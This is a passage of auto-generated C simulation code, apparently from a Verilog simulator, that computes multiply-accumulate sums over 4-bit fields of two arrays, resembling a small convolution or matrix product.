t206 = (t205 + 48U);
t207 = *((char **)t206);
t208 = ((char*)((ng8)));
t209 = ((char*)((ng6)));
xsi_vlog_generic_get_array_select_value(t202, 10, t201, t204, t207, 2, 2, t208, 32, 1, t209, 32, 1);
memset(t210, 0, 8);
xsi_vlog_unsigned_multiply(t210, 10, t179, 10, t202, 10);
memset(t211, 0, 8);
xsi_vlog_unsigned_add(t211, 10, t178, 10, t210, 10);
t214 = (t0 + 1824U);
t215 = *((char **)t214);
t214 = (t0 + 1784U);
t217 = (t214 + 72U);
t218 = *((char **)t217);
t219 = (t0 + 1784U);
t220 = (t219 + 48U);
t221 = *((char **)t220);
t222 = ((char*)((ng12)));
xsi_vlog_generic_get_array_select_value(t216, 12, t215, t218, t221, 2, 1, t222, 32, 1);
memset(t223, 0, 8);
t224 = (t223 + 4);
t225 = (t216 + 4);
t226 = *((unsigned int *)t216);
t227 = (t226 >> 8);
*((unsigned int *)t223) = t227;
t228 = *((unsigned int *)t225);
t229 = (t228 >> 8);
*((unsigned int *)t224) = t229;
t230 = *((unsigned int *)t223);
*((unsigned int *)t223) = (t230 & 15U);
t231 = *((unsigned int *)t224);
*((unsigned int *)t224) = (t231 & 15U);
t232 = ((char*)((ng1)));
xsi_vlogtype_concat(t213, 5, 5, 2U, t232, 1, t223, 4);
xsi_vlogtype_zero_extend(t212, 10, t213, 5);
t233 = (t0 + 1664U);
t234 = *((char **)t233);
t233 = (t0 + 1624U);
t236 = (t233 + 72U);
t237 = *((char **)t236);
t238 = (t0 + 1624U);
t239 = (t238 + 48U);
t240 = *((char **)t239);
t241 = ((char*)((ng6)));
t242 = ((char*)((ng7)));
xsi_vlog_generic_get_array_select_value(t235, 10, t234, t237, t240, 2, 2, t241, 32, 1, t242, 32, 1);
memset(t243, 0, 8);
xsi_vlog_unsigned_multiply(t243, 10, t212, 10, t235, 10);
memset(t244, 0, 8);
xsi_vlog_unsigned_add(t244, 10, t211, 10, t243, 10);
t247 = (t0 + 1824U);
t248 = *((char **)t247);
t247 = (t0 + 1784U);
t250 = (t247 + 72U);
t251 = *((char **)t250);
t252 = (t0 + 1784U);
t253 = (t252 + 48U);
t254 = *((char **)t253);
t255 = ((char*)((ng13)));
xsi_vlog_generic_get_array_select_value(t249, 12, t248, t251, t254, 2, 1, t255, 32, 1);
memset(t256, 0, 8);
t257 = (t256 + 4);
t258 = (t249 + 4);
t259 = *((unsigned int *)t249);
t260 = (t259 >> 8);
*((unsigned int *)t256) = t260;
t261 = *((unsigned int *)t258);
t262 = (t261 >> 8);
*((unsigned int *)t257) = t262;
t263 = *((unsigned int *)t256);
*((unsigned int *)t256) = (t263 & 15U);
t264 = *((unsigned int *)t257);
*((unsigned int *)t257) = (t264 & 15U);
t265 = ((char*)((ng1)));
xsi_vlogtype_concat(t246, 5, 5, 2U, t265, 1, t256, 4);
xsi_vlogtype_zero_extend(t245, 10, t246, 5);
t266 = (t0 + 1664U);
t267 = *((char **)t266);
t266 = (t0 + 1624U);
t269 = (t266 + 72U);
t270 = *((char **)t269);
t271 = (t0 + 1624U);
t272 = (t271 + 48U);
t273 = *((char **)t272);
t274 = ((char*)((ng6)));
t275 = ((char*)((ng8)));
xsi_vlog_generic_get_array_select_value(t268, 10, t267, t270, t273, 2, 2, t274, 32, 1, t275, 32, 1);
memset(t276, 0, 8);
xsi_vlog_unsigned_multiply(t276, 10, t245, 10, t268, 10);
memset(t277, 0, 8);
xsi_vlog_unsigned_add(t277, 10, t244, 10, t276, 10);
t280 = (t0 + 1824U);
t281 = *((char **)t280);
t280 = (t0 + 1784U);
t283 = (t280 + 72U);
t284 = *((char **)t283);
t285 = (t0 + 1784U);
t286 = (t285 + 48U);
t287 = *((char **)t286);
t288 = ((char*)((ng14)));
xsi_vlog_generic_get_array_select_value(t282, 12, t281, t284, t287, 2, 1, t288, 32, 1);
memset(t289, 0, 8);
t290 = (t289 + 4);
t291 = (t282 + 4);
t292 = *((unsigned int *)t282);
t293 = (t292 >> 8);
*((unsigned int *)t289) = t293;
t294 = *((unsigned int *)t291);
t295 = (t294 >> 8);
*((unsigned int *)t290) = t295;
t296 = *((unsigned int *)t289);
*((unsigned int *)t289) = (t296 & 15U);
t297 = *((unsigned int *)t290);
*((unsigned int *)t290) = (t297 & 15U);
t298 = ((char*)((ng1)));
xsi_vlogtype_concat(t279, 5, 5, 2U, t298, 1, t289, 4);
xsi_vlogtype_zero_extend(t278, 10, t279, 5);
t299 = (t0 + 1664U);
t300 = *((char **)t299);
t299 = (t0 + 1624U);
t302 = (t299 + 72U);
t303 = *((char **)t302);
t304 = (t0 + 1624U);
t305 = (t304 + 48U);
t306 = *((char **)t305);
t307 = ((char*)((ng6)));
t308 = ((char*)((ng6)));
xsi_vlog_generic_get_array_select_value(t301, 10, t300, t303, t306, 2, 2, t307, 32, 1, t308, 32, 1);
memset(t309, 0, 8);
xsi_vlog_unsigned_multiply(t309, 10, t278, 10, t301, 10);
memset(t310, 0, 8);
xsi_vlog_unsigned_add(t310, 10, t277, 10, t309, 10);
t311 = (t0 + 2544);
xsi_vlogvar_assign_value(t311, t310, 0, 0, 10);
xsi_set_current_line(92, ng0);
t2 = (t0 + 1824U);
t3 = *((char **)t2);
t2 = (t0 + 1784U);
t4 = (t2 + 72U);
t5 = *((char **)t4);
t6 = (t0 + 1784U);
t7 = (t6 + 48U);
t15 = *((char **)t7);
t16 = ((char*)((ng6)));
xsi_vlog_generic_get_array_select_value(t17, 12, t3, t5, t15, 2, 1, t16, 32, 1);
memset(t24, 0, 8);
t18 = (t24 + 4);
t19 = (t17 + 4);
t8 = *((unsigned int *)t17);
t9 = (t8 >> 4);
*((unsigned int *)t24) = t9;
t10 = *((unsigned int *)t19);
t11 = (t10 >> 4);
*((unsigned int *)t18) = t11;
t12 = *((unsigned int *)t24);
*((unsigned int *)t24) = (t12 & 15U);
t27 = *((unsigned int *)t18);
*((unsigned int *)t18) = (t27 & 15U);
t20 = ((char*)((ng1)));
xsi_vlogtype_concat(t14, 5, 5, 2U, t20, 1, t24, 4);
xsi_vlogtype_zero_extend(t13, 10, t14, 5);
t21 = (t0 + 1664U);
t22 = *((char **)t21);
t21 = (t0 + 1624U);
t23 = (t21 + 72U);
t25 = *((char **)t23);
t26 = (t0 + 1624U);
t33 = (t26 + 48U);
t35 = *((char **)t33);
t36 = ((char*)((ng7)));
t38 = ((char*)((ng7)));
xsi_vlog_generic_get_array_select_value(t34, 10, t22, t25, t35, 2, 2, t36, 32, 1, t38, 32, 1);
memset(t37, 0, 8);
xsi_vlog_unsigned_multiply(t37, 10, t13, 10, t34, 10);
t39 = (t0 + 1824U);
t40 = *((char **)t39);
t39 = (t0 + 1784U);
t41 = (t39 + 72U);
t42 = *((char **)t41);
t43 = (t0 + 1784U);
t44 = (t43 + 48U);
t48 = *((char **)t44);
t49 = ((char*)((ng8)));
xsi_vlog_generic_get_array_select_value(t47, 12, t40, t42, t48, 2, 1, t49, 32, 1);
memset(t50, 0, 8);
t51 = (t50 + 4);
t52 = (t47 + 4);
t28 = *((unsigned int *)t47);
t29 = (t28 >> 4);
*((unsigned int *)t50) = t29;
t30 = *((unsigned int *)t52);
t31 = (t30 >> 4);
*((unsigned int *)t51) = t31;
t32 = *((unsigned int *)t50);
*((unsigned int *)t50) = (t32 & 15U);
t60 = *((unsigned int *)t51);
*((unsigned int *)t51) = (t60 & 15U);
t53 = ((char*)((ng1)));
xsi_vlogtype_concat(t46, 5, 5, 2U, t53, 1, t50, 4);
xsi_vlogtype_zero_extend(t45, 10, t46, 5);
t54 = (t0 + 1664U);
t55 = *((char **)t54);
t54 = (t0 + 1624U);
t56 = (t54 + 72U);
t58 = *((char **)t56);
t59 = (t0 + 1624U);
t66 = (t59 + 48U);
t68 = *((char **)t66);
t69 = ((char*)((ng7)));
t71 = ((char*)((ng8)));
xsi_vlog_generic_get_array_select_value(t57, 10, t55, t58, t68, 2, 2, t69, 32, 1, t71, 32, 1);
memset(t67, 0, 8);
xsi_vlog_unsigned_multiply(t67, 10, t45, 10, t57, 10);
memset(t70, 0, 8);
xsi_vlog_unsigned_add(t70, 10, t37, 10, t67, 10);
t72 = (t0 + 1824U);
t73 = *((char **)t72);
t72 = (t0 + 1784U);
t74 = (t72 + 72U);
t75 = *((char **)t74);
t76 = (t0 + 1784U);
t77 = (t76 + 48U);
t82 = *((char **)t77);
t83 = ((char*)((ng7)));
xsi_vlog_generic_get_array_select_value(t80, 12, t73, t75, t82, 2, 1, t83, 32, 1);
memset(t81, 0, 8);
t85 = (t81 + 4);
t86 = (t80 + 4);
t61 = *((unsigned int *)t80);
t62 = (t61 >> 4);
*((unsigned int *)t81) = t62;
t63 = *((unsigned int *)t86);
t64 = (t63 >> 4);
*((unsigned int *)t85) = t64;
t65 = *((unsigned int *)t81);
*((unsigned int *)t81) = (t65 & 15U);
t94 = *((unsigned int *)t85);
*((unsigned int *)t85) = (t94 & 15U);
t87 = ((char*)((ng1)));
xsi_vlogtype_concat(t79, 5, 5, 2U, t87, 1, t81, 4);
xsi_vlogtype_zero_extend(t78, 10, t79, 5);
t88 = (t0 + 1664U);
t89 = *((char **)t88);
t88 = (t0 + 1624U);
t90 = (t88 + 72U);
t92 = *((char **)t90);
t93 = (t0 + 1624U);
t100 = (t93 + 48U);
t101 = *((char **)t100);
t102 = ((char*)((ng7)));
t104 = ((char*)((ng6)));
xsi_vlog_generic_get_array_select_value(t84, 10, t89, t92, t101, 2, 2, t102, 32, 1, t104, 32, 1);
memset(t91, 0, 8);
xsi_vlog_unsigned_multiply(t91, 10, t78, 10, t84, 10);
memset(t103, 0, 8);
xsi_vlog_unsigned_add(t103, 10, t70, 10, t91, 10);
t105 = (t0 + 1824U);
t106 = *((char **)t105);
t105 = (t0 + 1784U);
t107 = (t105 + 72U);
t108 = *((char **)t107);
t109 = (t0 + 1784U);
t110 = (t109 + 48U);
t115 = *((char **)t110);
t116 = ((char*)((ng9)));
xsi_vlog_generic_get_array_select_value(t113, 12, t106, t108, t115, 2, 1, t116, 32, 1);
memset(t114, 0, 8);
t118 = (t114 + 4);
t119 = (t113 + 4);
t95 = *((unsigned int *)t113);
t96 = (t95 >> 4);
*((unsigned int *)t114) = t96;
t97 = *((unsigned int *)t119);
t98 = (t97 >> 4);
*((unsigned int *)t118) = t98;
t99 = *((unsigned int *)t114);
*((unsigned int *)t114) = (t99 & 15U);
t127 = *((unsigned int *)t118);
*((unsigned int *)t118) = (t127 & 15U);
t120 = ((char*)((ng1)));
xsi_vlogtype_concat(t112, 5, 5, 2U, t120, 1, t114, 4);
xsi_vlogtype_zero_extend(t111, 10, t112, 5);
t121 = (t0 + 1664U);
t122 = *((char **)t121);
t121 = (t0 + 1624U);
t123 = (t121 + 72U);
t125 = *((char **)t123);
t126 = (t0 + 1624U);
t133 = (t126 + 48U);
t134 = *((char **)t133);
t135 = ((char*)((ng8)));
t137 = ((char*)((ng7)));
xsi_vlog_generic_get_array_select_value(t117, 10, t122, t125, t134, 2, 2, t135, 32, 1, t137, 32, 1);
memset(t124, 0, 8);
xsi_vlog_unsigned_multiply(t124, 10, t111, 10, t117, 10);
memset(t136, 0, 8);
xsi_vlog_unsigned_add(t136, 10, t103, 10, t124, 10);
t138 = (t0 + 1824U);
t139 = *((char **)t138);
t138 = (t0 + 1784U);
t140 = (t138 + 72U);
t141 = *((char **)t140);
t142 = (t0 + 1784U);
t143 = (t142 + 48U);
t148 = *((char **)t143);
t149 = ((char*)((ng10)));
xsi_vlog_generic_get_array_select_value(t146, 12, t139, t141, t148, 2, 1, t149, 32, 1);
memset(t147, 0, 8);
t151 = (t147 + 4);
t152 = (t146 + 4);
t128 = *((unsigned int *)t146);
t129 = (t128 >> 4);
*((unsigned int *)t147) = t129;
t130 = *((unsigned int *)t152);
t131 = (t130 >> 4);
*((unsigned int *)t151) = t131;
t132 = *((unsigned int *)t147);
*((unsigned int *)t147) = (t132 & 15U);
t160 = *((unsigned int *)t151);
*((unsigned int *)t151) = (t160 & 15U);
t153 = ((char*)((ng1)));
xsi_vlogtype_concat(t145, 5, 5, 2U, t153, 1, t147, 4);
xsi_vlogtype_zero_extend(t144, 10, t145, 5);
t154 = (t0 + 1664U);
t155 = *((char **)t154);
t154 = (t0 + 1624U);
t156 = (t154 + 72U);
t158 = *((char **)t156);
t159 = (t0 + 1624U);
t166 = (t159 + 48U);
t167 = *((char **)t166);
t168 = ((char*)((ng8)));
t170 = ((char*)((ng8)));
xsi_vlog_generic_get_array_select_value(t150, 10, t155, t158, t167, 2, 2, t168, 32, 1, t170, 32, 1);
memset(t157, 0, 8);
xsi_vlog_unsigned_multiply(t157, 10, t144, 10, t150, 10);
memset(t169, 0, 8);
xsi_vlog_unsigned_add(t169, 10, t136, 10, t157, 10);
t171 = (t0 + 1824U);
t172 = *((char **)t171);
t171 = (t0 + 1784U);
t173 = (t171 + 72U);
t174 = *((char **)t173);
t175 = (t0 + 1784U);
t176 = (t175 + 48U);
t181 = *((char **)t176);
t182 = ((char*)((ng11)));
xsi_vlog_generic_get_array_select_value(t179, 12, t172, t174, t181, 2, 1, t182, 32, 1);
memset(t180, 0, 8);
t184 = (t180 + 4);
t185 = (t179 + 4);
t161 = *((unsigned int *)t179);
t162 = (t161 >> 4);
*((unsigned int *)t180) = t162;
t163 = *((unsigned int *)t185);
t164 = (t163 >> 4);
*((unsigned int *)t184) = t164;
t165 = *((unsigned int *)t180);
*((unsigned int *)t180) = (t165 & 15U);
t193 = *((unsigned int *)t184);
*((unsigned int *)t184) = (t193 & 15U);
t186 = ((char*)((ng1)));
xsi_vlogtype_concat(t178, 5, 5, 2U, t186, 1, t180, 4);
xsi_vlogtype_zero_extend(t177, 10, t178, 5);
t187 = (t0 + 1664U);
t188 = *((char **)t187);
t187 = (t0 + 1624U);
t189 = (t187 + 72U);
t191 = *((char **)t189);
t192 = (t0 + 1624U);
t199 = (t192 + 48U);
t200 = *((char **)t199);
t201 = ((char*)((ng8)));
t203 = ((char*)((ng6)));
xsi_vlog_generic_get_array_select_value(t183, 10, t188, t191, t200, 2, 2, t201, 32, 1, t203, 32, 1);
memset(t190, 0, 8);
xsi_vlog_unsigned_multiply(t190, 10, t177, 10, t183, 10);
memset(t202, 0, 8);
xsi_vlog_unsigned_add(t202, 10, t169, 10, t190, 10);
t204 = (t0 + 1824U);
t205 = *((char **)t204);
t204 = (t0 + 1784U);
t206 = (t204 + 72U);
t207 = *((char **)t206);
t208 = (t0 + 1784U);
t209 = (t208 + 48U);
t214 = *((char **)t209);
t215 = ((char*)((ng12)));
xsi_vlog_generic_get_array_select_value(t212, 12, t205, t207, t214, 2, 1, t215, 32, 1);
memset(t213, 0, 8);
t217 = (t213 + 4);
t218 = (t212 + 4);
t194 = *((unsigned int *)t212);
t195 = (t194 >> 4);
*((unsigned int *)t213) = t195;
t196 = *((unsigned int *)t218);
t197 = (t196 >> 4);
*((unsigned int *)t217) = t197;
t198 = *((unsigned int *)t213);
*((unsigned int *)t213) = (t198 & 15U);
t226 = *((unsigned int *)t217);
*((unsigned int *)t217) = (t226 & 15U);
t219 = ((char*)((ng1)));
xsi_vlogtype_concat(t211, 5, 5, 2U, t219, 1, t213, 4);
xsi_vlogtype_zero_extend(t210, 10, t211, 5);
t220 = (t0 + 1664U);
t221 = *((char **)t220);
t220 = (t0 + 1624U);
t222 = (t220 + 72U);
t224 = *((char **)t222);
t225 = (t0 + 1624U);
t232 = (t225 + 48U);
t233 = *((char **)t232);
t234 = ((char*)((ng6)));
t236 = ((char*)((ng7)));
xsi_vlog_generic_get_array_select_value(t216, 10, t221, t224, t233, 2, 2, t234, 32, 1, t236, 32, 1);
memset(t223, 0, 8);
xsi_vlog_unsigned_multiply(t223, 10, t210, 10, t216, 10);
memset(t235, 0, 8);
xsi_vlog_unsigned_add(t235, 10, t202, 10, t223, 10);
t237 = (t0 + 1824U);
t238 = *((char **)t237);
t237 = (t0 + 1784U);
t239 = (t237 + 72U);
t240 = *((char **)t239);
t241 = (t0 + 1784U);
t242 = (t241 + 48U);
t247 = *((char **)t242);
t248 = ((char*)((ng13)));
xsi_vlog_generic_get_array_select_value(t245, 12, t238, t240, t247, 2, 1, t248, 32, 1);
memset(t246, 0, 8);
t250 = (t246 + 4);
t251 = (t245 + 4);
t227 = *((unsigned int *)t245);
t228 = (t227 >> 4);
*((unsigned int *)t246) = t228;
t229 = *((unsigned int *)t251);
t230 = (t229 >> 4);
*((unsigned int *)t250) = t230;
t231 = *((unsigned int *)t246);
*((unsigned int *)t246) = (t231 & 15U);
t259 = *((unsigned int *)t250);
*((unsigned int *)t250) = (t259 & 15U);
t252 = ((char*)((ng1)));
xsi_vlogtype_concat(t244, 5, 5, 2U, t252, 1, t246, 4);
xsi_vlogtype_zero_extend(t243, 10, t244, 5);
t253 = (t0 + 1664U);
t254 = *((char **)t253);
t253 = (t0 + 1624U);
t255 = (t253 + 72U);
t257 = *((char **)t255);
t258 = (t0 + 1624U);
t265 = (t258 + 48U);
t266 = *((char **)t265);
t267 = ((char*)((ng6)));
t269 = ((char*)((ng8)));
xsi_vlog_generic_get_array_select_value(t249, 10, t254, t257, t266, 2, 2, t267, 32, 1, t269, 32, 1);
memset(t256, 0, 8);
xsi_vlog_unsigned_multiply(t256, 10, t243, 10, t249, 10);
memset(t268, 0, 8);
xsi_vlog_unsigned_add(t268, 10, t235, 10, t256, 10);
t270 = (t0 + 1824U);
t271 = *((char **)t270);
t270 = (t0 + 1784U);
t272 = (t270 + 72U);
t273 = *((char **)t272);
t274 = (t0 + 1784U);
t275 = (t274 + 48U);
t280 = *((char **)t275);
t281 = ((char*)((ng14)));
xsi_vlog_generic_get_array_select_value(t278, 12, t271, t273, t280, 2, 1, t281, 32, 1);
memset(t279, 0, 8);
t283 = (t279 + 4);
t284 = (t278 + 4);
t260 = *((unsigned int *)t278);
t261 = (t260 >> 4);
*((unsigned int *)t279) = t261;
t262 = *((unsigned int *)t284);
t263 = (t262 >> 4);
*((unsigned int *)t283) = t263;
t264 = *((unsigned int *)t279);
*((unsigned int *)t279) = (t264 & 15U);
t292 = *((unsigned int *)t283);
*((unsigned int *)t283) = (t292 & 15U);
t285 = ((char*)((ng1)));
xsi_vlogtype_concat(t277, 5, 5, 2U, t285, 1, t279, 4);
xsi_vlogtype_zero_extend(t276, 10, t277, 5);
t286 = (t0 + 1664U);
t287 = *((char **)t286);
t286 = (t0 + 1624U);
t288 = (t286 + 72U);
t290 = *((char **)t288);
t291 = (t0 + 1624U);
t298 = (t291 + 48U);
t299 = *((char **)t298);
t300 = ((char*)((ng6)));
t302 = ((char*)((ng6)));
xsi_vlog_generic_get_array_select_value(t282, 10, t287, t290, t299, 2, 2, t300, 32, 1, t302, 32, 1);
memset(t289, 0, 8);
xsi_vlog_unsigned_multiply(t289, 10, t276, 10, t282, 10);
memset(t301, 0, 8);
xsi_vlog_unsigned_add(t301, 10, t268, 10, t289, 10);
t303 = (t0 + 2864);
xsi_vlogvar_assign_value(t303, t301, 0, 0, 10);
xsi_set_current_line(96, ng0);
t2 = (t0 + 1824U);
t3 = *((char **)t2);
t2 = (t0 + 1784U);
t4 = (t2 + 72U);
t5 = *((char **)t4);
t6 = (t0 + 1784U);
t7 = (t6 + 48U);
t15 = *((char **)t7);
t16 = ((char*)((ng6)));
xsi_vlog_generic_get_array_select_value(t17, 12, t3, t5, t15, 2, 1, t16, 32, 1);
memset(t24, 0, 8);
t18 = (t24 + 4);
t19 = (t17 + 4);
t8 = *((unsigned int *)t17);
t9 = (t8 >> 0);
*((unsigned int *)t24) = t9;
t10 = *((unsigned int *)t19);
t11 = (t10 >> 0);
*((unsigned int *)t18) = t11;
t12 = *((unsigned int *)t24);
*((unsigned int *)t24) = (t12 & 15U);
t27 = *((unsigned int *)t18);
*((unsigned int *)t18) = (t27 & 15U);
t20 = ((char*)((ng1)));
xsi_vlogtype_concat(t14, 5, 5, 2U, t20, 1, t24, 4);
xsi_vlogtype_zero_extend(t13, 10, t14, 5);
t21 = (t0 + 1664U);
t22 = *((char **)t21);
t21 = (t0 + 1624U);
t23 = (t21 + 72U);
t25 = *((char **)t23);
t26 = (t0 + 1624U);
t33 = (t26 + 48U);
t35 = *((char **)t33);
t36 = ((char*)((ng7)));
t38 = ((char*)((ng7)));
xsi_vlog_generic_get_array_select_value(t34, 10, t22, t25, t35, 2, 2, t36, 32, 1, t38, 32, 1);
memset(t37, 0, 8);
xsi_vlog_unsigned_multiply(t37, 10, t13, 10, t34, 10);
t39 = (t0 + 1824U);
t40 = *((char **)t39);
t39 = (t0 + 1784U);
t41 = (t39 + 72U);
t42 = *((char **)t41);
t43 = (t0 + 1784U);
t44 = (t43 + 48U);
t48 = *((char **)t44);
t49 = ((char*)((ng8)));
xsi_vlog_generic_get_array_select_value(t47, 12, t40, t42, t48, 2, 1, t49, 32, 1);
memset(t50, 0, 8);
t51 = (t50 + 4);
t52 = (t47 + 4);
t28 = *((unsigned int *)t47);
t29 = (t28 >> 0);
*((unsigned int *)t50) = t29;
t30 = *((unsigned int *)t52);
t31 = (t30 >> 0);
*((unsigned int *)t51) = t31;
t32 = *((unsigned int *)t50);
*((unsigned int *)t50) = (t32 & 15U);
t60 = *((unsigned int *)t51);
*((unsigned int *)t51) = (t60 & 15U);
t53 = ((char*)((ng1)));
xsi_vlogtype_concat(t46, 5, 5, 2U, t53, 1, t50, 4);
xsi_vlogtype_zero_extend(t45, 10, t46, 5);
t54 = (t0 + 1664U);
t55 = *((char **)t54);
t54 = (t0 + 1624U);
t56 = (t54 + 72U);
t58 = *((char **)t56);
t59 = (t0 + 1624U);
t66 = (t59 + 48U);
t68 = *((char **)t66);
t69 = ((char*)((ng7)));
t71 = ((char*)((ng8)));
xsi_vlog_generic_get_array_select_value(t57, 10, t55, t58, t68, 2, 2, t69, 32, 1, t71, 32, 1);
memset(t67, 0, 8);
xsi_vlog_unsigned_multiply(t67, 10, t45, 10, t57, 10);
memset(t70, 0, 8);
xsi_vlog_unsigned_add(t70, 10, t37, 10, t67, 10);
t72 = (t0 + 1824U);
t73 = *((char **)t72);
t72 = (t0 + 1784U);
t74 = (t72 + 72U);
t75 = *((char **)t74);
t76 = (t0 + 1784U);
t77 = (t76 + 48U);
t82 = *((char **)t77);
t83 = ((char*)((ng7)));
xsi_vlog_generic_get_array_select_value(t80, 12, t73, t75, t82, 2, 1, t83, 32, 1);
memset(t81, 0, 8);
t85 = (t81 + 4);
t86 = (t80 + 4);
t61 = *((unsigned int *)t80);
t62 = (t61 >> 0);
*((unsigned int *)t81) = t62;
t63 = *((unsigned int *)t86);
t64 = (t63 >> 0);
*((unsigned int *)t85) = t64;
t65 = *((unsigned int *)t81);
*((unsigned int *)t81) = (t65 & 15U);
t94 = *((unsigned int *)t85);
*((unsigned int *)t85) = (t94 & 15U);
t87 = ((char*)((ng1)));
xsi_vlogtype_concat(t79, 5, 5, 2U, t87, 1, t81, 4);
xsi_vlogtype_zero_extend(t78, 10, t79, 5);
t88 = (t0 + 1664U);
t89 = *((char **)t88);
t88 = (t0 + 1624U);
t90 = (t88 + 72U);
t92 = *((char **)t90);
t93 = (t0 + 1624U);
t100 = (t93 + 48U);
t101 = *((char **)t100);
t102 = ((char*)((ng7)));
t104 = ((char*)((ng6)));
xsi_vlog_generic_get_array_select_value(t84, 10, t89, t92, t101, 2, 2, t102, 32, 1, t104, 32, 1);
memset(t91, 0, 8);
xsi_vlog_unsigned_multiply(t91, 10, t78, 10, t84, 10);
memset(t103, 0, 8);
xsi_vlog_unsigned_add(t103, 10, t70, 10, t91, 10);
t105 = (t0 + 1824U);
t106 = *((char **)t105);
t105 = (t0 + 1784U);
t107 = (t105 + 72U);
t108 = *((char **)t107);
t109 = (t0 + 1784U);
t110 = (t109 + 48U);
t115 = *((char **)t110);
t116 = ((char*)((ng9)));
xsi_vlog_generic_get_array_select_value(t113, 12, t106, t108, t115, 2, 1, t116, 32, 1);
memset(t114, 0, 8);
t118 = (t114 + 4);
t119 = (t113 + 4);
t95 = *((unsigned int *)t113);
t96 = (t95 >> 0);
*((unsigned int *)t114) = t96;
t97 = *((unsigned int *)t119);
t98 = (t97 >> 0);
*((unsigned int *)t118) = t98;
t99 = *((unsigned int *)t114);
*((unsigned int *)t114) = (t99 & 15U);
t127 = *((unsigned int *)t118);
*((unsigned int *)t118) = (t127 & 15U);
t120 = ((char*)((ng1)));
xsi_vlogtype_concat(t112, 5, 5, 2U, t120, 1, t114, 4);
xsi_vlogtype_zero_extend(t111, 10, t112, 5);
t121 = (t0 + 1664U);
t122 = *((char **)t121);
t121 = (t0 + 1624U);
t123 = (t121 + 72U);
t125 = *((char **)t123);
t126 = (t0 + 1624U);
t133 = (t126 + 48U);
t134 = *((char **)t133);
t135 = ((char*)((ng8)));
t137 = ((char*)((ng7)));
xsi_vlog_generic_get_array_select_value(t117, 10, t122, t125, t134, 2, 2, t135, 32, 1, t137, 32, 1);
memset(t124, 0, 8);
xsi_vlog_unsigned_multiply(t124, 10, t111, 10, t117, 10);
memset(t136, 0, 8);
xsi_vlog_unsigned_add(t136, 10, t103, 10, t124, 10);
t138 = (t0 + 1824U);
t139 = *((char **)t138);
t138 = (t0 + 1784U);
t140 = (t138 + 72U);
t141 = *((char **)t140);
t142 = (t0 + 1784U);
t143 = (t142 + 48U);
t148 = *((char **)t143);
t149 = ((char*)((ng10)));
xsi_vlog_generic_get_array_select_value(t146, 12, t139, t141, t148, 2, 1, t149, 32, 1);
memset(t147, 0, 8);
t151 = (t147 + 4);
t152 = (t146 + 4);
t128 = *((unsigned int *)t146);
t129 = (t128 >> 0);
*((unsigned int *)t147) = t129;
t130 = *((unsigned int *)t152);
t131 = (t130 >> 0);
*((unsigned int *)t151) = t131;
t132 = *((unsigned int *)t147);
*((unsigned int *)t147) = (t132 & 15U);
t160 = *((unsigned int *)t151);
*((unsigned int *)t151) = (t160 & 15U);
t153 = ((char*)((ng1)));
xsi_vlogtype_concat(t145, 5, 5, 2U, t153, 1, t147, 4);
xsi_vlogtype_zero_extend(t144, 10, t145, 5);
t154 = (t0 + 1664U);
t155 = *((char **)t154);
t154 = (t0 + 1624U);
t156 = (t154 + 72U);
t158 = *((char **)t156);
t159 = (t0 + 1624U);
t166 = (t159 + 48U);
t167 = *((char **)t166);
t168 = ((char*)((ng8)));
t170 = ((char*)((ng8)));
xsi_vlog_generic_get_array_select_value(t150, 10, t155, t158, t167, 2, 2, t168, 32, 1, t170, 32, 1);
memset(t157, 0, 8);
xsi_vlog_unsigned_multiply(t157, 10, t144, 10, t150, 10);
memset(t169, 0, 8);
xsi_vlog_unsigned_add(t169, 10, t136, 10, t157, 10);
t171 = (t0 + 1824U);
t172 = *((char **)t171);
t171 = (t0 + 1784U);
t173 = (t171 + 72U);
t174 = *((char **)t173);
t175 = (t0 + 1784U);
t176 = (t175 + 48U);
t181 = *((char **)t176);
t182 = ((char*)((ng11)));
xsi_vlog_generic_get_array_select_value(t179, 12, t172, t174, t181, 2, 1, t182, 32, 1);
memset(t180, 0, 8);
t184 = (t180 + 4);
t185 = (t179 + 4);
t161 = *((unsigned int *)t179);
t162 = (t161 >> 0);
*((unsigned int *)t180) = t162;
t163 = *((unsigned int *)t185);
t164 = (t163 >> 0);
*((unsigned int *)t184) = t164;
t165 = *((unsigned int *)t180);
*((unsigned int *)t180) = (t165 & 15U);
t193 = *((unsigned int *)t184);
*((unsigned int *)t184) = (t193 & 15U);
t186 = ((char*)((ng1)));
xsi_vlogtype_concat(t178, 5, 5, 2U, t186, 1, t180, 4);
xsi_vlogtype_zero_extend(t177, 10, t178, 5);
t187 = (t0 + 1664U);
t188 = *((char **)t187);
t187 = (t0 + 1624U);
t189 = (t187 + 72U);
t191 = *((char **)t189);
t192 = (t0 + 1624U);
t199 = (t192 + 48U);
t200 = *((char **)t199);
t201 = ((char*)((ng8)));
t203 = ((char*)((ng6)));
xsi_vlog_generic_get_array_select_value(t183, 10, t188, t191, t200, 2, 2, t201, 32, 1, t203, 32, 1);
memset(t190, 0, 8);
xsi_vlog_unsigned_multiply(t190, 10, t177, 10, t183, 10);
memset(t202, 0, 8);
xsi_vlog_unsigned_add(t202, 10, t169, 10, t190, 10);
t204 = (t0 + 1824U);
t205 = *((char **)t204);
t204 = (t0 + 1784U);
t206 = (t204 + 72U);
t207 = *((char **)t206);
t208 = (t0 + 1784U);
t209 = (t208 + 48U);
t214 = *((char **)t209);
t215 = ((char*)((ng12)));
xsi_vlog_generic_get_array_select_value(t212, 12, t205, t207, t214, 2, 1, t215, 32, 1);
memset(t213, 0, 8);
t217 = (t213 + 4);
t218 = (t212 + 4);
t194 = *((unsigned int *)t212);
t195 = (t194 >> 0);
*((unsigned int *)t213) = t195;
t196 = *((unsigned int *)t218);
t197 = (t196 >> 0);
*((unsigned int *)t217) = t197;
t198 = *((unsigned int *)t213);
*((unsigned int *)t213) = (t198 & 15U);
t226 = *((unsigned int *)t217);
*((unsigned int *)t217) = (t226 & 15U);
t219 = ((char*)((ng1)));
xsi_vlogtype_concat(t211, 5, 5, 2U, t219, 1, t213, 4);
xsi_vlogtype_zero_extend(t210, 10, t211, 5);
t220 = (t0 + 1664U);
t221 = *((char **)t220);
t220 = (t0 + 1624U);
t222 = (t220 + 72U);
t224 = *((char **)t222);
t225 = (t0 + 1624U);
t232 = (t225 + 48U);
t233 = *((char **)t232);
t234 = ((char*)((ng6)));
t236 = ((char*)((ng7)));
xsi_vlog_generic_get_array_select_value(t216, 10, t221, t224, t233, 2, 2, t234, 32, 1, t236, 32, 1);
memset(t223, 0, 8);
xsi_vlog_unsigned_multiply(t223, 10, t210, 10, t216, 10);
memset(t235, 0, 8);
xsi_vlog_unsigned_add(t235, 10, t202, 10, t223, 10);
